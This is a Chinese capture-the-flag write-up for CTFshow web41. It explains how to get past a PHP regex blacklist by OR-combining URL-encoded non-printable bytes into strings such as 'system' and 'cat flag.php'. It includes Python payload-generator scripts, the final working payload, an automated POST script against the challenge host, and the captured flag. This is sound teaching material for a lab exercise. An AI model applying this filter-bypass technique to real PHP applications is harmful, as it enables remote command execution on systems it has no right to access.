CTFshow wbe41 教你写脚本

这篇具有很好参考价值的文章主要介绍了CTFshow wbe41 教你写脚本。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这道题确实难,查了很多个大佬的题解,发现这道题考察的是或运算生成字符,但是过了n篇文章发现全是直接用羽师傅的脚本,没有人说这个脚本是怎么运行的,莫名其妙就出结果,脑瓜嗡嗡,可能大佬们默认这脚本大家一看就会用吧,小白只能自己研究了,于是我研究了羽师傅的脚本,自己仿照写了一个!

目录

web41

代码分析:

第一步:通过或运算构造字符

python代码

分析

运行结果

第二步:构造payload

python代码

分析

第三步提交payload

运行结果

payload :

结果

附加步骤自动化脚本

flag:


web41

代码分析:

    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符

第一步:通过或运算构造字符

url编码:对于服务器而言,编码前后的字符串并没有什么区别,服务器能够自动识别。其实url编码就是一个字符ascii的十六进制,不过稍微有些变动,需要在前面加上“%”,即ascii转成十六进制加上%就是url编码,但是url还包括许多ascii中没有的字符

或运算:10000 与00001或运算后结果为10001,即有1为1

构造字符:因为过滤了大部分可见字符,为了使用这些可见字符我们可以使用

“不可见字符”|“不可见字符”=可见字符的方法,即“未过滤字符|未过滤字符”=“过滤的字符”

使用这种方法来绕过过滤,所以第一步就是找到这种未过滤字符

python代码

import re
import urllib
from urllib import parse
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
for i in range(256):
    for j in range(256):
        if re.search(pattern, chr(i)):
            break
        if re.search(pattern, chr(j)):
            continue
        if i < 16:
            hex_i = "0" + hex(i)[2:]
        else:
            hex_i = hex(i)[2:]
        if j < 16:
            hex_j = "0" + hex(j)[2:]
        else:
            hex_j = hex(j)[2:]
        hex_i = '%' + hex_i
        hex_j = '%' + hex_j
        c = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))
        if (c == 's'):
            print(hex_i, hex_j);

分析

看上去很长,其实不难,一行一行分析

首先url编码的范围大概在0-256(十进制),通过两层循环

i为未过滤字符1 

j为未过滤字符2

CTFshow wbe41 教你写脚本

pattern是题目中过滤的内容,前面提到i与j是未过滤的字符,所以我们要把过滤的字符剔除

 CTFshow wbe41 教你写脚本

re.search是python中正则匹配函数,其中第一个参数为正则表达式,第二个参数是要匹配的字符,如果匹配则返回匹配的位置

因为过滤的字符都是可见字符,且都存在ascii编码,可以直接将i,j当作ascii,利用chr函数转为字符

因为是双层循环,所以当i是可见字符时直接跳过第二层循环,当j是可见字符时跳过该次循环(这块不理解先去学python吧)

接下来就是转换成url编码,就是%16进制

 CTFshow wbe41 教你写脚本

因为python中hex()函数返回值为0x+十六进制,但url编码中没有0x所以使用[2:]截取0x后面的内容

当i,j<16时如4 hex(4)=0x4,但url编码应该为%04所以在hex()[2:0]前面加字符"0"

最后在数字前面加'%'转换为url编码

CTFshow wbe41 教你写脚本

到这里就是用来筛选可以组合成我们需要字符的两个未知字符的url了

python中 |运算只能使用数字,所以我们先将url编码解码,再使用ord函数将解出来的字符转回ascii,之后进行或运算,运算后将结果使用chr函数转回字符

判断或运算得到的字符是否是我们需要的字符,这里使用的是s,如果是则输出两个未知字符的url编码

运行结果

CTFshow wbe41 教你写脚本很多的,只展示一部分

这几组url编码进行或运算都能得到字符s

即s=url解码(%13|%60)

第二步:构造payload

如构造一个system('ls')

这里有两个知识点:

①system('ls')与(system)('ls')是一样的都可以执行

②要使用或运算构造字符串时应将所有如刚才提到的未知字符1拼接到一起|未知字符2拼接到一起

说起来很抽象,举个例子

system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")

其中%13|%60=s     %19|%60=y      %14|%60=t

很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

python代码

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):
    t1 = ""
    t2 = ""
    for k in str1[p]:
        for i in range(256):
            for j in range(256):
                if re.search(pattern,chr(i)) :
                    break
                if re.search(pattern,chr(j)) :
                    continue
                if i < 16:
                    hex_i = "0" + hex(i)[2:]
                else:
                    hex_i=hex(i)[2:]
                if j < 16:
                    hex_j="0"+hex(j)[2:]
                else:
                    hex_j=hex(j)[2:]
                hex_i='%'+hex_i
                hex_j='%'+hex_j
                c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                if(c ==k):
                    t1=t1+hex_i
                    t2=t2+hex_j
                    break
            else:
                continue
            break
    print("(\""+t1+"\"|\""+t2+"\")")

分析

CTFshow wbe41 教你写脚本

 这里是我们要构造的字符串 system 和 ls

CTFshow wbe41 教你写脚本

p是用来控制字符串个数,两个字符串

t1和t2是用来接收每个字符的前半部分和后半部分

k是用来循环匹配每一个字符

 CTFshow wbe41 教你写脚本

当匹配上后,将前半部分加到t1 后半部分加到t2

每次循环完一个字符串后输出构造好的结果,将两个构造好的字符串拼接,用post方法传入即可看到结果

第三步提交payload

运行结果

CTFshow wbe41 教你写脚本

 上面的是system 下面的是ls

用bp提交一下,注意hackbar提交会被再次编码看不到结果

CTFshow wbe41 教你写脚本

记得没有换行哈,python出来是换行的

用重发器发送一下

CTFshow wbe41 教你写脚本看到ls已经被执行了,接下来就是把ls换成cat flag.php

CTFshow wbe41 教你写脚本

payload :

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

结果

CTFshow wbe41 教你写脚本

附加步骤自动化脚本

到这一步其实就是用python主动提交payload

    payload=payload+("(\""+t1+"\"|\""+t2+"\")")
print(payload)
data={
    "c":urllib.parse.unquote(payload)
}
url="http://ae1911ce-91da-4b6c-94b2-c7a618ea88de.challenge.ctf.show/"
re=requests.post(url,data=data)
print(re.text)

 就是将结果在python中拼接用requests.post发送,最后把返回结果打印一下

注意因为发送过程中会再次url编码一次所以发送前应该先url解码一次,当然因为|没有执行所以不会解成过滤字符

运行结果

CTFshow wbe41 教你写脚本

flag:

ctfshow{4d245c9f-6fa0-4dd3-967a-b4ae29aaf846}

 到这里就结束啦,相信大家也理解一点了,自己动手写一写吧!共勉!文章来源地址https://www.toymoban.com/news/detail-416625.html

到了这里,关于CTFshow wbe41 教你写脚本的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 手把手教你写stm32f103智能风扇

    本系统可以分为两个模式来进行运行,分别为手动模式和自动模式,同时,在上电进入系统后,还会有一个模式选择的界面产生。 模式选择:在此界面中,可以通过按键K1来控制模式选择,两个模式分别为手动模式和自动模式;通过按键K2可以进入模式。 手动模式:在手动模

    2023年04月17日
    浏览(66)
  • java APT原理及APT实战 - 一步步教你写ButterKnife

    Java APT 是 Java 技术设计的一个 APT 架构, APT(Annotation Processing Tool)即注解处理器,它是一种处理注解的工具,也是javac中的一个工具,用于在编译阶段未生成class之前对源码中的注解进行扫描和处理。 APT可以用来在编译时扫描和处理注解, 它可以用来获取到注解和被注解对

    2024年02月05日
    浏览(35)
  • 正则表达式详解(零基础教学,手把手教你写正则)

    本篇文章将从零讲解什么是正则表达式,以及正则表达式的规则、在python中的应用,用通俗易懂的描述方式进行零基础级别的讲解,尽量做到全网最全讲解,力求最高质量文章,欢迎关注!点击目录可直接进行相关位置跳转。 目录: 什么是正则? 为什么需要正则? 元字符

    2023年04月08日
    浏览(44)
  • 手把手教你写一个JSON在线解析的前端网站1

    作为一名Android开发,经常要跟后端同事联调接口,那么总避免不了要格式化接口返回值,将其转换为清晰直观高亮的UI样式以及折叠部分内容,方便我们查看定位关键的信息。 一直以来都是打开Google 搜索json格式化,然后选择Google推荐的前三名的网址,比如 bejson网站

    2024年02月08日
    浏览(46)
  • [Kotlin]手把手教你写一个安卓APP(第一章注册登录)

    开发软件:Android Studio 1.创建项目默认选择Empty Activity                                                                      点击Next  2.生成项目设置包名选择开发语言(这里我用的是kotlin)  在生成项目后我们要做的就是添加需要的配置打开我们的app目录下的 buil

    2023年04月23日
    浏览(81)
  • 【Java】手把手教你写学生信息管理系统(窗口化+MYSQL)

                (本项目使用到了数据库的可视化软件DataGrip,需要同学们自行下载并配置环境) 首先我们需要在DataGrip中建立一个student的框架                                                         然后建立一个studenttable表                   

    2024年02月04日
    浏览(41)
  • 【教你写爬虫】用Java爬虫爬取百度搜索结果!可爬10w+条!

    大家好,我是盆子。今天这篇文章来讲解一下:使用Java爬虫爬取百度搜索结果。 首先,展示爬取的数据,如下图。 爬取结果1: 爬取结果2: 代码爬取展示: 可以看到,上面爬取了五个字段,包括 标题,原文链接地址,链接来源,简介信息,发布时间。 用到的技术栈,主要有这

    2024年02月05日
    浏览(61)
  • 【Golang项目实战】手把手教你写一个备忘录程序|附源码——建议收藏

    博主简介: 努力学习的大一在校计算机专业学生,热爱学习和创作。目前在学习和分享:数据结构、Go,Java等相关知识。 博主主页: @是瑶瑶子啦 所属专栏: Go语言核心编程 近期目标: 写好专栏的每一篇文章 前几天瑶瑶子学习了Go语言的基础语法知识,那么今天我们就写个

    2024年02月06日
    浏览(54)
  • 手把手教你写代码——基于控制台的通讯录管理系统(单表)

    本栏目专为入门java学习者设计的一些简单的入门项目 本项目为简单的基于控制台的通讯录管理系统,所需要的环境仅仅为jdk以及mysql(版本不限)!只有一个简单的eclipse软件以及我们的mysql可视化工具(视频使用navicat) 本项目数据库表仅有一个,单表操作,方便学习! 本项

    2024年02月15日
    浏览(46)
  • FPGA之手把手教你写串口协议解析(STM32与FPGA数据互传)

    最近趁热打铁做了一个关于STM32与FPGA通信并且控制高速DA模块产生不同频率信号的正弦波、方波、三角波和锯齿波的项目,从中收获到了很多东西,也踩了一些雷和坑,将分为几篇文章将整个过程分享出来。 这一次准备分享的是对串口数据的解析和赋值。解析的数据由STM32发

    2024年02月06日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包